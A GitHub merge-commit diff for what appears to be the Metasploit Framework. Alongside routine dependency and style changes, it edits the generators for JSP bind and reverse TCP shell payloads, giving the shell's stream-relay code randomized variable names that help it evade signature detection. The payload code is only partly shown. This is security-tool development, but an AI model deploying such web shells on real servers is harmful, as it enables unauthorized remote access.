Skip to content

Commit 7d2d0aa

Browse files
author
Pedro Ribeiro
committed
Merge pull request #8 from rapid7/master
bla
2 parents 490d6d0 + a830c28 commit 7d2d0aa

File tree

17 files changed

+564
-104
lines changed

17 files changed

+564
-104
lines changed

.gitignore

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,12 @@ Gemfile.local.lock
77
.sublime-project
88
# RVM control file, keep this to avoid backdooring Metasploit
99
.rvmrc
10+
# Allow for a local choice of (unsupported / semi-supported) ruby versions
11+
# See PR #4136 for usage, but example usage for rvm:
12+
# rvm --create --versions-conf use 2.1.4@metasploit-framework
13+
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
14+
# rbenv shell 2.1.4
15+
.versions.conf
1016
# YARD cache directory
1117
.yardoc
1218
# Mac OS X files

Gemfile

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@ source 'https://rubygems.org'
33
# spec.add_runtime_dependency '<name>', [<version requirements>]
44
gemspec
55

6-
gem 'rb-readline', require: false
7-
86
group :db do
97
# Needed for Msf::DbManager
108
gem 'activerecord', '>= 3.0.0', '< 4.0.0'

Gemfile.lock

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -232,7 +232,6 @@ DEPENDENCIES
232232
pg (>= 0.11)
233233
pry
234234
rake (>= 10.0.0)
235-
rb-readline
236235
redcarpet
237236
rspec (>= 2.12, < 3.0.0)
238237
rspec-rails (>= 2.12, < 3.0.0)
618 Bytes
Binary file not shown.

lib/msf/core/exploit/exe.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,10 +38,11 @@ def get_eicar_exe
3838
obfus_eicar.join("-").upcase
3939
end
4040

41-
def get_custom_exe(path=nil)
41+
def get_custom_exe(path = nil)
4242
path ||= datastore['EXE::Custom']
4343
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
4444
datastore['DisablePayloadHandler'] = true
45+
exe = nil
4546
::File.open(path,'rb') {|f| exe = f.read(f.stat.size)}
4647
exe
4748
end
@@ -160,7 +161,7 @@ def exe_init_options(opts)
160161
end
161162

162163
def exe_post_generation(opts)
163-
if (opts[:fellback])
164+
if opts[:fellback]
164165
print_status("Warning: Falling back to default template: #{opts[:fellback]}")
165166
end
166167
end

lib/msf/core/module/reference.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,9 @@ def self.from_a(ary)
8787

8888
#
8989
# Initialize the site reference.
90+
# If you're updating the references, please also update:
91+
# * tools/module_reference.rb
92+
# * https://github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers
9093
#
9194
def initialize(in_ctx_id = 'Unknown', in_ctx_val = '')
9295
self.ctx_id = in_ctx_id

lib/msf/core/payload/jsp.rb

Lines changed: 44 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,12 @@ def initialize(info = {})
2222
# @return [String] jsp code that executes bind TCP payload
2323
def jsp_bind_tcp
2424
# Modified from: http://www.security.org.sg/code/jspreverse.html
25+
26+
var_is = Rex::Text.rand_text_alpha_lower(2)
27+
var_os = Rex::Text.rand_text_alpha_lower(2)
28+
var_in = Rex::Text.rand_text_alpha_lower(2)
29+
var_out = Rex::Text.rand_text_alpha_lower(3)
30+
2531
jsp = <<-EOS
2632
<%@page import="java.lang.*"%>
2733
<%@page import="java.util.*"%>
@@ -31,37 +37,37 @@ def jsp_bind_tcp
3137
<%
3238
class StreamConnector extends Thread
3339
{
34-
InputStream is;
35-
OutputStream os;
40+
InputStream #{var_is};
41+
OutputStream #{var_os};
3642
37-
StreamConnector( InputStream is, OutputStream os )
43+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
3844
{
39-
this.is = is;
40-
this.os = os;
45+
this.#{var_is} = #{var_is};
46+
this.#{var_os} = #{var_os};
4147
}
4248
4349
public void run()
4450
{
45-
BufferedReader in = null;
46-
BufferedWriter out = null;
51+
BufferedReader #{var_in} = null;
52+
BufferedWriter #{var_out} = null;
4753
try
4854
{
49-
in = new BufferedReader( new InputStreamReader( this.is ) );
50-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
55+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
56+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
5157
char buffer[] = new char[8192];
5258
int length;
53-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
59+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
5460
{
55-
out.write( buffer, 0, length );
56-
out.flush();
61+
#{var_out}.write( buffer, 0, length );
62+
#{var_out}.flush();
5763
}
5864
} catch( Exception e ){}
5965
try
6066
{
61-
if( in != null )
62-
in.close();
63-
if( out != null )
64-
out.close();
67+
if( #{var_in} != null )
68+
#{var_in}.close();
69+
if( #{var_out} != null )
70+
#{var_out}.close();
6571
} catch( Exception e ){}
6672
}
6773
}
@@ -87,6 +93,12 @@ class StreamConnector extends Thread
8793
# @return [String] jsp code that executes reverse TCP payload
8894
def jsp_reverse_tcp
8995
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
96+
97+
var_is = Rex::Text.rand_text_alpha_lower(2)
98+
var_os = Rex::Text.rand_text_alpha_lower(2)
99+
var_in = Rex::Text.rand_text_alpha_lower(2)
100+
var_out = Rex::Text.rand_text_alpha_lower(3)
101+
90102
jsp = <<-EOS
91103
<%@page import="java.lang.*"%>
92104
<%@page import="java.util.*"%>
@@ -96,37 +108,37 @@ def jsp_reverse_tcp
96108
<%
97109
class StreamConnector extends Thread
98110
{
99-
InputStream is;
100-
OutputStream os;
111+
InputStream #{var_is};
112+
OutputStream #{var_os};
101113
102-
StreamConnector( InputStream is, OutputStream os )
114+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
103115
{
104-
this.is = is;
105-
this.os = os;
116+
this.#{var_is} = #{var_is};
117+
this.#{var_os} = #{var_os};
106118
}
107119
108120
public void run()
109121
{
110-
BufferedReader in = null;
111-
BufferedWriter out = null;
122+
BufferedReader #{var_in} = null;
123+
BufferedWriter #{var_out} = null;
112124
try
113125
{
114-
in = new BufferedReader( new InputStreamReader( this.is ) );
115-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
126+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
127+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
116128
char buffer[] = new char[8192];
117129
int length;
118-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
130+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
119131
{
120-
out.write( buffer, 0, length );
121-
out.flush();
132+
#{var_out}.write( buffer, 0, length );
133+
#{var_out}.flush();
122134
}
123135
} catch( Exception e ){}
124136
try
125137
{
126-
if( in != null )
127-
in.close();
128-
if( out != null )
129-
out.close();
138+
if( #{var_in} != null )
139+
#{var_in}.close();
140+
if( #{var_out} != null )
141+
#{var_out}.close();
130142
} catch( Exception e ){}
131143
}
132144
}

lib/rex/mime/message.rb

Lines changed: 9 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -24,11 +24,11 @@ def initialize(data=nil)
2424
self.header.parse(head)
2525
ctype = self.header.find('Content-Type')
2626

27-
if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
27+
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
2828
self.bound = $1
2929
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
3030
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
31-
self.content << "\r\n" if not self.content.empty?
31+
self.content << "\r\n" unless self.content.empty?
3232

3333
chunks.each do |chunk|
3434
break if chunk == "--"
@@ -88,15 +88,13 @@ def mime_defaults
8888
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
8989
part = Rex::MIME::Part.new
9090

91-
if (content_disposition)
91+
if content_disposition
9292
part.header.set("Content-Disposition", content_disposition)
9393
end
9494

95-
if (content_type)
96-
part.header.set("Content-Type", content_type)
97-
end
95+
part.header.set("Content-Type", content_type) if content_type
9896

99-
if (transfer_encoding)
97+
if transfer_encoding
10098
part.header.set("Content-Transfer-Encoding", transfer_encoding)
10199
end
102100

@@ -125,20 +123,17 @@ def add_part_inline_attachment(data, name)
125123
end
126124

127125
def to_s
128-
msg = force_crlf(self.header.to_s + "\r\n")
126+
header_string = self.header.to_s
129127

130-
unless self.content.blank?
131-
msg << force_crlf(self.content + "\r\n")
132-
end
128+
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
129+
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
133130

134131
self.parts.each do |part|
135132
msg << force_crlf("--" + self.bound + "\r\n")
136133
msg << part.to_s
137134
end
138135

139-
if self.parts.length > 0
140-
msg << force_crlf("--" + self.bound + "--\r\n")
141-
end
136+
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
142137

143138
msg
144139
end

lib/rex/proto/smb/simpleclient.rb

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,10 @@ def login(name = '', user = '', pass = '', domain = '',
6666

6767
self.client.spnopt = spnopt
6868

69+
# In case the user unsets the password option, we make sure this is
70+
# always a string
71+
pass ||= ''
72+
6973
ok = self.client.session_setup(user, pass, domain)
7074
rescue ::Interrupt
7175
raise $!

metasploit-framework.gemspec

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -76,8 +76,14 @@ Gem::Specification.new do |spec|
7676
spec.add_runtime_dependency 'railties'
7777
# required for OS fingerprinting
7878
spec.add_runtime_dependency 'recog', '~> 1.0'
79-
# read... lines...
80-
spec.add_runtime_dependency 'rb-readline'
79+
80+
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
81+
# NoMethodError undefined method `dlopen' for Fiddle:Module
82+
unless Gem.win_platform?
83+
# Command line editing, history, and tab completion in msfconsole
84+
spec.add_runtime_dependency 'rb-readline'
85+
end
86+
8187
# Needed by anemone crawler
8288
spec.add_runtime_dependency 'robots'
8389
# Needed by some modules

0 commit comments

Comments
 (0)